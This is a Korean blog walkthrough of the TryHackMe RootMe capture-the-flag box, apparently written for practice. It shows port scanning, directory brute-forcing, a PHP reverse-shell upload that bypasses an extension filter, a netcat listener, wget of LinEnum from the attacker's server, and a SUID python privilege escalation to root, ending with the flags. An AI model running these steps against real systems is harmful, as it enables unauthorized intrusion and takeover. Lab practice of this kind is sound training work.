https://tryhackme.com/r/room/rrootme
기본 정보 수집 및 포트스캐닝을 배우기위해 RootMe 박스를 모의해킹
┌──(root㉿kali)-[~/raccoon/rootme]
└─# nmap -p- --max-retries 2 -Pn -n --open -sS --min-rate 2000 -oA tcpFull 10.10.94.213
┌──(root㉿kali)-[~/raccoon/rootme]
└─# cat tcpFull.nmap
# Nmap 7.94SVN scan initiated Sun Mar 24 00:29:52 2024 as: nmap -p- --max-retries 2 -Pn -n --open -sS --min-rate 2000 -oA tcpFull 10.10.94.213
Nmap scan report for 10.10.94.213
Host is up (0.26s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
# Nmap done at Sun Mar 24 00:30:28 2024 -- 1 IP address (1 host up) scanned in 36.79 seconds
-p- --max-retries 2 : 모든 포트를 2번 시도해라
-Pn : 호스트 디스커버리 하지 않겠다
-n : DNS 디스커버리 하지 않겠다
--open : open된 포트만 보여달라
-sS : tcp 씬스캔을 활용하겠다
--min-rate : 미니멈 레이트는 2000
-oA : 출력 파일은 tcpFull로 하겠다
┌──(root㉿kali)-[~/raccoon/rootme]
└─# nmap -p 22,80 -sV -sC -Pn -n --open -oA tcpDetailed 10.10.94.213
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-24 00:32 EDT
Nmap scan report for 10.10.94.213
Host is up (0.26s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4a:b9:16:08:84:c2:54:48:ba:5c:fd:3f:22:5f:22:14 (RSA)
| 256 a9:a6:86:e8:ec:96:c3:f0:03:cd:16:d5:49:73:d0:82 (ECDSA)
|_ 256 22:f6:b5:a6:54:d9:78:7c:26:03:5a:95:f3:f9:df:cd (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: HackIT - Home
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.40 seconds
1. 웹사이트 확인
2. 소스코드 확인
3. robots.txt 확인
별다른 단서가 없다
4. gobuster를 이용해 디렉터리 브루트포싱을 진행
┌──(root㉿kali)-[~/raccoon/rootme]
└─# gobuster dir -u http://10.10.94.213/ -w /usr/share/wordlists/dirb/common.txt -f -x php -t 100
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.94.213/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Add Slash: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess/ (Status: 403) [Size: 277]
/.htaccess.php/ (Status: 403) [Size: 277]
/.php/ (Status: 403) [Size: 277]
/.hta.php/ (Status: 403) [Size: 277]
/.hta/ (Status: 403) [Size: 277]
/.htpasswd.php/ (Status: 403) [Size: 277]
/.htpasswd/ (Status: 403) [Size: 277]
/css/ (Status: 200) [Size: 1125]
/icons/ (Status: 403) [Size: 277]
/index.php/ (Status: 200) [Size: 616]
/index.php/ (Status: 200) [Size: 616]
/js/ (Status: 200) [Size: 958]
/panel/ (Status: 200) [Size: 732]
/server-status/ (Status: 403) [Size: 277]
/uploads/ (Status: 200) [Size: 743]
Progress: 9228 / 9230 (99.98%)
===============================================================
Finished
===============================================================
403은 의미가 없어 200위주로 볼것이다
뭔가 디렉터리 인덱싱이 가능한 오픈 디렉터리가 나오긴 하는데 안에 파일이 아무 것도 없다 근데 업로드 이기 때문에 뭔가 파일을 업로드하면 /uploads 디렉터리 안에 업로드가 될 것 같다.
파일을 업로드하는 무언가가 나온다
생각되는 시나리오
1. /panel에서 업로드를 하면 /uploads 에서 업로드가 되는 것이 보일 것
2. 그게 php 파일이라면 웹서버 자체의 백엔드가 php 이기 때문에 사실상 php를 열어서 확인한다는건 php 코드가 실행된 다는 것과 같다
5. php 리버스쉘 코드 업로드
┌──(root㉿kali)-[~/raccoon/rootme]
└─# find / -name "*php-reverse-shell*" 2> /dev/null
/usr/share/laudanum/php/php-reverse-shell.php
/usr/share/laudanum/wordpress/templates/php-reverse-shell.php
/usr/share/webshells/php/php-reverse-shell.php
^C
┌──(root㉿kali)-[~/raccoon/rootme]
└─# cp /usr/share/laudanum/php/php-reverse-shell.php .
┌──(root㉿kali)-[~/raccoon/rootme]
└─# ls
php-reverse-shell.php tcpDetailed.gnmap tcpDetailed.xml tcpFull.nmap
target tcpDetailed.nmap tcpFull.gnmap tcpFull.xml
┌──(root㉿kali)-[~/raccoon/rootme]
└─# vim php-reverse-shell.php
php 파일에서 chang this 부분에 리버스 쉘이기 때문에 내가 가지고 있는 ip를 적어준다
업로드 시켜줬지만 업로드가 되지 않은 것같다 뭔가 php 확장자로는 안되서 php upload bypass를 통해 우회를 해서 업로드를 시킬 것이다
6. file upload bypass를 통한 php 파일 우회 업로드
우선 php -> php5 로 확장자를 변경해서 업로드 시도
정상적으로 파일을 업로드 했다
7. 리버스 쉘 받기
┌──(root㉿kali)-[~/raccoon/rootme]
└─# nc -nlvp 1234
listening on [any] 1234 ...
이렇게 nc 명령어를 입력한 후에 업로드된 파일을 누르면 된다.
┌──(root㉿kali)-[~/raccoon/rootme]
└─# nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.8.59.204] from (UNKNOWN) [10.10.94.213] 38488
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
05:01:09 up 41 min, 0 users, load average: 0.00, 0.00, 0.07
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
리버스 쉘을 획득한 모습
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@rootme:/$
python을 이용해서 pty를 불러온 후 권한 상승을 위해서 구글에서 linenum.sh github를 검색해 스크립트를 가져온다
┌──(root㉿kali)-[~/raccoon/rootme]
└─# wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
--2024-03-24 01:09:28-- https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.109.133, 185.199.110.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46631 (46K) [text/plain]
Saving to: ‘LinEnum.sh’
LinEnum.sh 100%[==============================================>] 45.54K --.-KB/s in 0.1s
2024-03-24 01:09:29 (315 KB/s) - ‘LinEnum.sh’ saved [46631/46631]
┌──(root㉿kali)-[~/raccoon/rootme]
└─# python3 -m http.server 8443
Serving HTTP on 0.0.0.0 port 8443 (http://0.0.0.0:8443/) ...
python을 통해서 웹서버를 8443으로 오픈
www-data@rootme:/$ cd /dev/shm
cd /dev/shm
www-data@rootme:/dev/shm$ wget http://10.8.59.204:8443/LinEnum.sh
wget http://10.8.59.204:8443/LinEnum.sh
--2024-03-24 05:11:33-- http://10.8.59.204:8443/LinEnum.sh
Connecting to 10.8.59.204:8443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46631 (46K) [text/x-sh]
Saving to: 'LinEnum.sh'
LinEnum.sh 0%[ ] 0 --.-KB/s LinEnum.sh 32%[=====> ] 14.95K 57.1KB/s LinEnum.sh 96%[==================> ] 44.14K 81.8KB/s LinEnum.sh 100%[===================>] 45.54K 84.4KB/s in 0.5s
2024-03-24 05:11:34 (84.4 KB/s) - 'LinEnum.sh' saved [46631/46631]
www-data@rootme:/dev/shm$
www-data@rootme:/dev/shm$ chmod +x ./LinEnum.sh
chmod +x ./LinEnum.sh
www-data@rootme:/dev/shm$ ./LinEnum.sh
[+] Possibly interesting SGID files:
-rwsr-sr-x 1 root root 3665768 Aug 4 2020 /usr/bin/python
이것을 악용할 것이다
GTFObins 사이트에서 쳐야할 명령어를 검색할 후에 실행
www-data@rootme:/$ python -c "import os; os.execl('/bin/sh', 'sh', '-p')"
python -c "import os; os.execl('/bin/sh', 'sh', '-p')"
#
root 권한을 획득했다
# find / -name "user.txt"
find / -name "user.txt"
/var/www/user.txt
# cat /var/www/user.txt
cat /var/www/user.txt
THM{y0u_g0t_a_sh3ll}
# find / -name "root.txt" 2> /dev/null
find / -name "root.txt" 2> /dev/null
/root/root.txt
# cat /root/root.txt
cat /root/root.txt
THM{pr1v1l3g3_3sc4l4t10n}
'TryHackMe' 카테고리의 다른 글
[TryHackMe] Robots (0) | 2024.03.24 |
---|